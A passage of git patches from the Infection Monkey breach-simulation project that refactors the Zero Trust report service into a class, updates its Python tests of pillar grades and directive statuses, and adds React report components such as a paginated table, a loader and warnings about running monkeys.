[]) # devices conclusive = 1 + # devices unexecuted = 1 + # people inconclusive = 1 + # networks inconclusive = 1 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) + # people inconclusive = 2 + # networks inconclusive = 2 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) + # data conclusive 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data conclusive 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data conclusive 3 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data conclusive 4 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data conclusive 5 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data inconclusive 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) + # data inconclusive 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) + # data positive 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_POSITIVE, []) + + +class TestZeroTrustService(IslandTestCase): + def test_get_pillars_grades(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + save_example_findings() + + expected = [ + { + "Conclusive": 5, + "Inconclusive": 2, + "Positive": 1, + "Unexecuted": 1, + "pillar": "Data" + }, + { + "Conclusive": 0, + "Inconclusive": 2, + "Positive": 0, + "Unexecuted": 0, + "pillar": "People" + }, + { + "Conclusive": 0, + "Inconclusive": 2, + "Positive": 0, + "Unexecuted": 2, + "pillar": "Networks" + }, + { + "Conclusive": 1, + "Inconclusive": 0, + "Positive": 2, + "Unexecuted": 1, + "pillar": "Devices" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 0, + "Unexecuted": 0, + "pillar": "Workloads" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 0, + "Unexecuted": 1, + "pillar": "Visibility & Analytics" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 0, + "Unexecuted": 0, + "pillar": "Automation & Orchestration" + } + ] + + result = ZeroTrustService.get_pillars_grades() + + self.assertEquals(result, expected) + + def test_get_directives_status(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: [], + DATA: [ + { + "directive": DIRECTIVE_DATA_TRANSIT, + "status": STATUS_CONCLUSIVE, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TEST_DATA_ENDPOINT_ELASTIC + }, + { + "status": STATUS_CONCLUSIVE, + "test": TEST_DATA_ENDPOINT_HTTP + } + ] + } + ], + DEVICES: [ + { + "directive": "endpoint_security", + "status": "Conclusive", + "tests": [ + { + "status": "Conclusive", + "test": "endpoint_security_exists" + }, + { + "status": "Unexecuted", + "test": "machine_exploited" + } + ] + } + ], + NETWORKS: [ + { + "directive": "segmentation", + "status": "Unexecuted", + "tests": [ + { + "status": "Unexecuted", + "test": "segmentation" + } + ] + }, + { + "directive": "user_behaviour", + "status": STATUS_INCONCLUSIVE, + "tests": [ + { + "status": STATUS_INCONCLUSIVE, + "test": TEST_SCHEDULED_EXECUTION + } + ] + }, + { + "directive": "analyze_network_traffic", + "status": "Unexecuted", + "tests": [ + { + "status": "Unexecuted", + "test": "malicious_activity_timeline" + } + ] + } + ], + PEOPLE: [ + { + "directive": "user_behaviour", + "status": STATUS_INCONCLUSIVE, + "tests": [ + { + "status": STATUS_INCONCLUSIVE, + "test": TEST_SCHEDULED_EXECUTION + } + ] + } + ], + "Visibility & Analytics": [ + { + "directive": DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TEST_ACTIVITY_TIMELINE + } + ] + } + ], + "Workloads": [] + } + + self.assertEquals(ZeroTrustService.get_directives_status(), expected) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_report.py b/monkey/monkey_island/cc/services/reporting/zero_trust_report.py deleted file mode 100644 index 09227f134..000000000 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_report.py +++ /dev/null @@ -1,114 +0,0 @@ -import json -from common.data.zero_trust_consts import * -from monkey_island.cc.models.finding import Finding - - -def get_all_findings(): - all_findings = Finding.objects() - enriched_findings = [get_enriched_finding(f) for f in all_findings] - return enriched_findings - - -def get_events_as_dict(events): - return [json.loads(event.to_json()) for event in events] - - -def get_enriched_finding(finding): - test_info = TESTS_MAP[finding.test] - enriched_finding = { - # TODO add test explanation per status. - "test": test_info[EXPLANATION_KEY], - "pillars": test_info[PILLARS_KEY], - "status": finding.status, - "events": get_events_as_dict(finding.events) - } - return enriched_finding - - -def get_lcd_worst_status_for_test(all_findings_for_test): - current_status = STATUS_UNEXECUTED - for finding in all_findings_for_test: - if TEST_STATUSES.index(finding.status) < TEST_STATUSES.index(current_status): - current_status = finding.status - - return current_status - - -def get_tests_status(directive_tests): - results = [] - for test in directive_tests: - test_findings = Finding.objects(test=test) - results.append( - { - "test": test, - "status": get_lcd_worst_status_for_test(test_findings) - } - ) - return results - - -def get_directive_status(directive_tests): - worst_status = STATUS_UNEXECUTED - all_statuses = set() - for test in directive_tests: - all_statuses |= set(Finding.objects(test=test).distinct("status")) - - for status in all_statuses: - if TEST_STATUSES.index(status) < TEST_STATUSES.index(worst_status): - worst_status = status - - return worst_status - - -def get_directives_status(): - all_directive_statuses = {} - - # init with empty lists - for pillar in PILLARS: - all_directive_statuses[pillar] = [] - - for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): - for pillar in DIRECTIVES_TO_PILLARS[directive]: - all_directive_statuses[pillar].append( - { - "directive": directive, - "tests": get_tests_status(directive_tests), - "status": get_directive_status(directive_tests) - } - ) - - return all_directive_statuses - - -def get_pillar_grade(pillar, all_findings): - pillar_grade = { - "pillar": pillar, - STATUS_CONCLUSIVE: 0, - STATUS_INCONCLUSIVE: 0, - STATUS_POSITIVE: 0, - STATUS_UNEXECUTED: 0 - } - - tests_of_this_pillar = PILLARS_TO_TESTS[pillar] - - test_unexecuted = {} - for test in tests_of_this_pillar: - test_unexecuted[test] = True - - for finding in all_findings: - test_unexecuted[finding.test] = False - test_info = TESTS_MAP[finding.test] - if pillar in test_info[PILLARS_KEY]: - pillar_grade[finding.status] += 1 - - pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) - - return pillar_grade - - -def get_pillars_grades(): - pillars_grades = [] - all_findings = Finding.objects() - for pillar in PILLARS: - pillars_grades.append(get_pillar_grade(pillar, all_findings)) - return pillars_grades diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py new file mode 100644 index 000000000..7a4a5ce43 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -0,0 +1,117 @@ +import json +from common.data.zero_trust_consts import * +from monkey_island.cc.models.finding import Finding + + +class ZeroTrustService(object): + @staticmethod + def get_pillars_grades(): + pillars_grades = [] + all_findings = Finding.objects() + for pillar in PILLARS: + pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar, all_findings)) + return pillars_grades + + @staticmethod + def __get_pillar_grade(pillar, all_findings): + pillar_grade = { + "pillar": pillar, + STATUS_CONCLUSIVE: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_POSITIVE: 0, + STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = TESTS_MAP[finding.test] + if pillar in test_info[PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + + return pillar_grade + + @staticmethod + def get_directives_status(): + all_directive_statuses = {} + + # init with empty lists + for pillar in PILLARS: + all_directive_statuses[pillar] = [] + + for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): + for pillar in DIRECTIVES_TO_PILLARS[directive]: + all_directive_statuses[pillar].append( + { + "directive": directive, + "tests": ZeroTrustService.__get_tests_status(directive_tests), + "status": ZeroTrustService.__get_directive_status(directive_tests) + } + ) + + return all_directive_statuses + + @staticmethod + def __get_directive_status(directive_tests): + worst_status = STATUS_UNEXECUTED + all_statuses = set() + for test in directive_tests: + all_statuses |= set(Finding.objects(test=test).distinct("status")) + + for status in all_statuses: + if TEST_STATUSES.index(status) < TEST_STATUSES.index(worst_status): + worst_status = status + + return worst_status + + @staticmethod + def __get_tests_status(directive_tests): + results = [] + for test in directive_tests: + test_findings = Finding.objects(test=test) + results.append( + { + "test": test, + "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) + } + ) + return results + + @staticmethod + def __get_lcd_worst_status_for_test(all_findings_for_test): + current_status = STATUS_UNEXECUTED + for finding in all_findings_for_test: + if TEST_STATUSES.index(finding.status) < TEST_STATUSES.index(current_status): + current_status = finding.status + + return current_status + + @staticmethod + def get_all_findings(): + all_findings = Finding.objects() + enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings] + return enriched_findings + + @staticmethod + def __get_enriched_finding(finding): + test_info = TESTS_MAP[finding.test] + enriched_finding = { + # TODO add test explanation per status. + "test": test_info[EXPLANATION_KEY], + "pillars": test_info[PILLARS_KEY], + "status": finding.status, + "events": ZeroTrustService.__get_events_as_dict(finding.events) + } + return enriched_finding + + @staticmethod + def __get_events_as_dict(events): + return [json.loads(event.to_json()) for event in events] + From 776b9410768f2034121aaaccf67cfaa548ec3730 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 14 Aug 2019 09:31:45 +0300 Subject: [PATCH 080/276] Changed icons and fixed typo --- .../{PagenatedTable.js => PaginatedTable.js} | 4 ++-- .../zerotrust/DirectivesStatusTable.js | 13 +++++++------ .../report-components/zerotrust/FindingsTable.js | 4 ++-- .../report-components/zerotrust/PillarGrades.js | 4 ++-- monkey/monkey_island/cc/ui/src/styles/App.css | 16 ++++++++++++++++ 5 files changed, 29 insertions(+), 12 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/common/{PagenatedTable.js => PaginatedTable.js} (90%) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js similarity index 90% rename from monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js index 6a4652837..53ae1774d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -1,7 +1,7 @@ import React, {Component} from "react"; import ReactTable from "react-table"; -class PagenatedTable extends Component { +class PaginatedTable extends Component { render() { if (this.props.data.length > 0) { let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; @@ -26,4 +26,4 @@ class PagenatedTable extends Component { } } -export default PagenatedTable; +export default PaginatedTable; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js index f1e2a5d43..4f413f37f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js @@ -1,12 +1,13 @@ import React from "react"; -import PagenatedTable from "../common/PagenatedTable"; +import PaginatedTable from "../common/PaginatedTable"; import AuthComponent from "../../AuthComponent"; +import 'styles/ZeroTrustPillars.css' const statusToIcon = { - "Positive": "fa-shield alert-success", - "Inconclusive": "fa-question alert-info", - "Conclusive": "fa-unlock-alt alert-danger", - "Unexecuted": "fa-toggle-off", + "Positive": "fa-clipboard-check status-success", + "Inconclusive": "fa-exclamation-triangle status-warning", + "Conclusive": "fa-bomb status-danger", + "Unexecuted": "fa-question status-default", }; const columns = [ @@ -65,7 +66,7 @@ class TestsStatus extends AuthComponent { export class DirectivesStatusTable extends AuthComponent { render() { - return ; + return ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index f2247461b..ae1c41d49 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -3,7 +3,7 @@ import {Button} from "react-bootstrap"; import {EventsModal} from "./EventsModal"; import FileSaver from "file-saver"; import {PillarLabel} from "./PillarLabel"; -import PagenatedTable from "../common/PagenatedTable"; +import PaginatedTable from "../common/PaginatedTable"; class EventsAndButtonComponent extends Component { @@ -75,7 +75,7 @@ const columns = [ class FindingsTable extends Component { render() { return ( - + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 5c0d0d903..15e38607c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -1,6 +1,6 @@ import React, {Component} from "react"; import {PillarLabel} from "./PillarLabel"; -import PagenatedTable from "../common/PagenatedTable"; +import PaginatedTable from "../common/PaginatedTable"; const columns = [ { @@ -19,7 +19,7 @@ const columns = [ class PillarGrades extends Component { render() { - return ; + return ; } } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 9fc468f77..b617ab5d5 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -541,6 +541,22 @@ body { color: #e0ddde !important; } +.status-success { + color: #24b716 !important; +} + +.status-warning { + color: #b1a91c !important; +} + +.status-danger { + color: #d91016 !important; +} + +.status-default { + color: #575556 !important; +} + .attack-legend { text-align: center; margin-bottom: 20px; From dd48a2e40d550a5a290095445d7764835e6b6d88 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 14 Aug 2019 10:03:43 +0300 Subject: [PATCH 081/276] Extracted not all monkeys done warning and added to zero trust report --- .../cc/ui/src/components/pages/ReportPage.js | 14 ++----- .../components/pages/ZeroTrustReportPage.js | 41 ++++++++++++++----- .../common/MonkeysStillAliveWarning.js | 21 ++++++++++ 3 files changed, 54 insertions(+), 22 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index d68a7b3f6..081271e12 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -12,7 +12,8 @@ import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import StrongUsers from "components/report-components/security/StrongUsers"; import AttackReport from "components/report-components/security/AttackReport"; -import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; +import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; +import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); @@ -175,16 +176,7 @@ class ReportPageComponent extends AuthComponent { No critical security issues were detected.

    ) } - { - this.state.allMonkeysAreDead ? - '' - : - (

    - - Some monkeys are still running. To get the best report it's best to wait for all of them to finish - running. -

    ) - } + { this.state.report.glance.exploited.length > 0 ? '' diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 1dfe0c40b..665bf4b02 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -5,6 +5,7 @@ import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeade import PillarGrades from "../report-components/zerotrust/PillarGrades"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; +import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -13,16 +14,30 @@ class ZeroTrustReportPageComponent extends AuthComponent { this.state = { allMonkeysAreDead: false, - runStarted: false + runStarted: true }; } - render() { - let res; - // Todo move to componentDidMount - this.getZeroTrustReportFromServer(res); + componentDidMount() { + this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); + } - const content = this.generateReportContent(); + updateMonkeysRunning = () => { + return this.authFetch('/api') + .then(res => res.json()) + .then(res => { + this.setState({ + allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), + runStarted: res['completed_steps']['run_monkey'] + }); + return res; + }); + }; + + render() { + let content; + + content = this.generateReportContent(); return ( @@ -40,12 +55,13 @@ class ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = "Still empty"; } else { - const pillarsSection =
    + const pillarsSection =

    Pillars Overview

    ; - const directivesSection =

    Directives status

    + const directivesSection =
    +

    Directives status

    { Object.keys(this.state.directives).map((pillar) => ; - const findingSection =

    Findings

    -
    ; + const findingSection =
    +

    Findings

    + +
    ; - content =
    + content =
    + {pillarsSection} {directivesSection} {findingSection} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js new file mode 100644 index 000000000..67fd9388a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js @@ -0,0 +1,21 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; + +export class MonkeysStillAliveWarning extends Component { + render() { + return
    + { + this.props.allMonkeysAreDead ? + '' + : + (

    + + Some monkeys are still running. To get the best report it's best to wait for all of them to finish + running. +

    ) + } +
    + } +} + +MonkeysStillAliveWarning.propTypes = {allMonkeysAreDead: PropTypes.bool}; From 0325521936dcb367e2edaea6709e5aeab381685a Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 14 Aug 2019 10:34:04 +0300 Subject: [PATCH 082/276] Extracted MustRunMonkeyWarning and ReportLoader to seperate compoments and other small various fixes --- .../cc/ui/src/components/pages/ReportPage.js | 12 ++++----- .../components/pages/ZeroTrustReportPage.js | 22 ++++++---------- .../common/MustRunMonkeyWarning.js | 11 ++++++++ .../report-components/common/ReportLoader.js | 25 +++++++++++++++++++ 4 files changed, 50 insertions(+), 20 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 081271e12..4da1c0bac 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,4 +1,4 @@ -import React from 'react'; +import React, {Component} from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/security/BreachedServers'; import ScannedServers from 'components/report-components/security/ScannedServers'; @@ -14,10 +14,13 @@ import StrongUsers from "components/report-components/security/StrongUsers"; import AttackReport from "components/report-components/security/AttackReport"; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; +import ReportLoader from "../report-components/common/ReportLoader"; +import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); + class ReportPageComponent extends AuthComponent { Issue = @@ -70,13 +73,10 @@ class ReportPageComponent extends AuthComponent { let content; if (Object.keys(this.state.report).length === 0) { if (this.state.runStarted) { - content = (

    Generating Report...

    ); + content = (); } else { content = -

    - - You have to run a monkey before generating a report! -

    ; + ; } } else { content = this.generateReportContent(); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 665bf4b02..737e524fe 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -6,6 +6,8 @@ import PillarGrades from "../report-components/zerotrust/PillarGrades"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; +import ReportLoader from "../report-components/common/ReportLoader"; +import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -36,8 +38,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { render() { let content; - - content = this.generateReportContent(); + if (this.state.runStarted) { + content = this.generateReportContent(); + } else { + content = ; + } return ( @@ -53,7 +58,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { let content; if (this.stillLoadingDataFromServer()) { - content = "Still empty"; + content = ; } else { const pillarsSection =

    Pillars Overview

    @@ -97,17 +102,6 @@ class ZeroTrustReportPageComponent extends AuthComponent {
    {content} -
    - THIS IS THE RAW SERVER DATA -
    - PILLARS: -
    {JSON.stringify(this.state.pillars, undefined, 2)}
    -
    - DIRECTIVES: -
    {JSON.stringify(this.state.directives, undefined, 2)}
    -
    - FINDINGS: -
    {JSON.stringify(this.state.findings, undefined, 2)}
    ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js new file mode 100644 index 000000000..f1d23e302 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js @@ -0,0 +1,11 @@ +import React, {Component} from "react"; +import {NavLink} from "react-router-dom"; + +export default class MustRunMonkeyWarning extends Component { + render() { + return

    + + You have to run a monkey before generating a report! +

    + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js new file mode 100644 index 000000000..873d70177 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -0,0 +1,25 @@ +import {css} from "@emotion/core"; +import React, {Component} from "react"; +import {GridLoader} from "react-spinners"; + +const loading_css_override = css` + display: block; + margin-right: auto; + margin-left: auto; +`; + + +export default class ReportLoader extends Component { + render() { + return
    +

    Generating Report...

    + +
    + } +} From cd7cc4011d9fdd42ae5726b1384d6d7ee3d049ba Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 09:17:32 +0300 Subject: [PATCH 083/276] Added pillar summary as per Barak's idea --- monkey/common/data/zero_trust_consts.py | 2 +- monkey/monkey_island/cc/models/finding.py | 4 +-- .../cc/resources/reporting/report.py | 6 +++- .../services/reporting/zero_trust_service.py | 30 +++++++++++++++---- .../components/pages/ZeroTrustReportPage.js | 5 ++-- .../{PillarGrades.js => PillarOverview.js} | 11 +++++-- .../zerotrust/PillarsSummary.js | 29 ++++++++++++++++++ 7 files changed, 73 insertions(+), 14 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{PillarGrades.js => PillarOverview.js} (63%) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index b6a8c8c33..c55ee160d 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -12,7 +12,7 @@ STATUS_POSITIVE = u"Positive" STATUS_INCONCLUSIVE = u"Inconclusive" STATUS_CONCLUSIVE = u"Conclusive" # Don't change order! -TEST_STATUSES = [STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED] +ORDERED_TEST_STATUSES = [STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" diff --git a/monkey/monkey_island/cc/models/finding.py b/monkey/monkey_island/cc/models/finding.py index d67b10247..5ee014cfb 100644 --- a/monkey/monkey_island/cc/models/finding.py +++ b/monkey/monkey_island/cc/models/finding.py @@ -4,7 +4,7 @@ Define a Document Schema for Zero Trust findings. from mongoengine import Document, StringField, EmbeddedDocumentListField -from common.data.zero_trust_consts import TEST_STATUSES, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY +from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from event import Event @@ -19,7 +19,7 @@ class Finding(Document): """ # SCHEMA test = StringField(required=True, choices=TESTS) - status = StringField(required=True, choices=TEST_STATUSES) + status = StringField(required=True, choices=ORDERED_TEST_STATUSES) events = EmbeddedDocumentListField(document_type=Event) # LOGIC diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 84e458398..fba129e65 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -27,7 +27,11 @@ class Report(flask_restful.Resource): return ReportService.get_report() elif report_type == ZERO_TRUST_REPORT_TYPE: if report_data == REPORT_DATA_PILLARS: - return jsonify(ZeroTrustService.get_pillars_grades()) + return jsonify({ + "summary": ZeroTrustService.get_pillars_summary(), + "grades": ZeroTrustService.get_pillars_grades() + } + ) elif report_data == REPORT_DATA_DIRECTIVES_STATUS: return jsonify(ZeroTrustService.get_directives_status()) elif report_data == REPORT_DATA_FINDINGS: diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 7a4a5ce43..835f869ea 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -7,13 +7,13 @@ class ZeroTrustService(object): @staticmethod def get_pillars_grades(): pillars_grades = [] - all_findings = Finding.objects() for pillar in PILLARS: - pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar, all_findings)) + pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar)) return pillars_grades @staticmethod - def __get_pillar_grade(pillar, all_findings): + def __get_pillar_grade(pillar): + all_findings = Finding.objects() pillar_grade = { "pillar": pillar, STATUS_CONCLUSIVE: 0, @@ -66,7 +66,7 @@ class ZeroTrustService(object): all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: - if TEST_STATUSES.index(status) < TEST_STATUSES.index(worst_status): + if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status): worst_status = status return worst_status @@ -88,7 +88,7 @@ class ZeroTrustService(object): def __get_lcd_worst_status_for_test(all_findings_for_test): current_status = STATUS_UNEXECUTED for finding in all_findings_for_test: - if TEST_STATUSES.index(finding.status) < TEST_STATUSES.index(current_status): + if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_status): current_status = finding.status return current_status @@ -115,3 +115,23 @@ class ZeroTrustService(object): def __get_events_as_dict(events): return [json.loads(event.to_json()) for event in events] + @staticmethod + def get_pillars_summary(): + results = { + STATUS_CONCLUSIVE: [], + STATUS_INCONCLUSIVE: [], + STATUS_POSITIVE: [], + STATUS_UNEXECUTED: [] + } + for pillar in PILLARS: + results[ZeroTrustService.__get_status_for_pillar(pillar)].append(pillar) + + return results + + @staticmethod + def __get_status_for_pillar(pillar): + grade = ZeroTrustService.__get_pillar_grade(pillar) + for status in ORDERED_TEST_STATUSES: + if grade[status] > 0: + return status + return STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 737e524fe..3bc0e38e1 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -2,7 +2,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import PillarGrades from "../report-components/zerotrust/PillarGrades"; +import PillarsOverview from "../report-components/zerotrust/PillarOverview"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; @@ -60,9 +60,10 @@ class 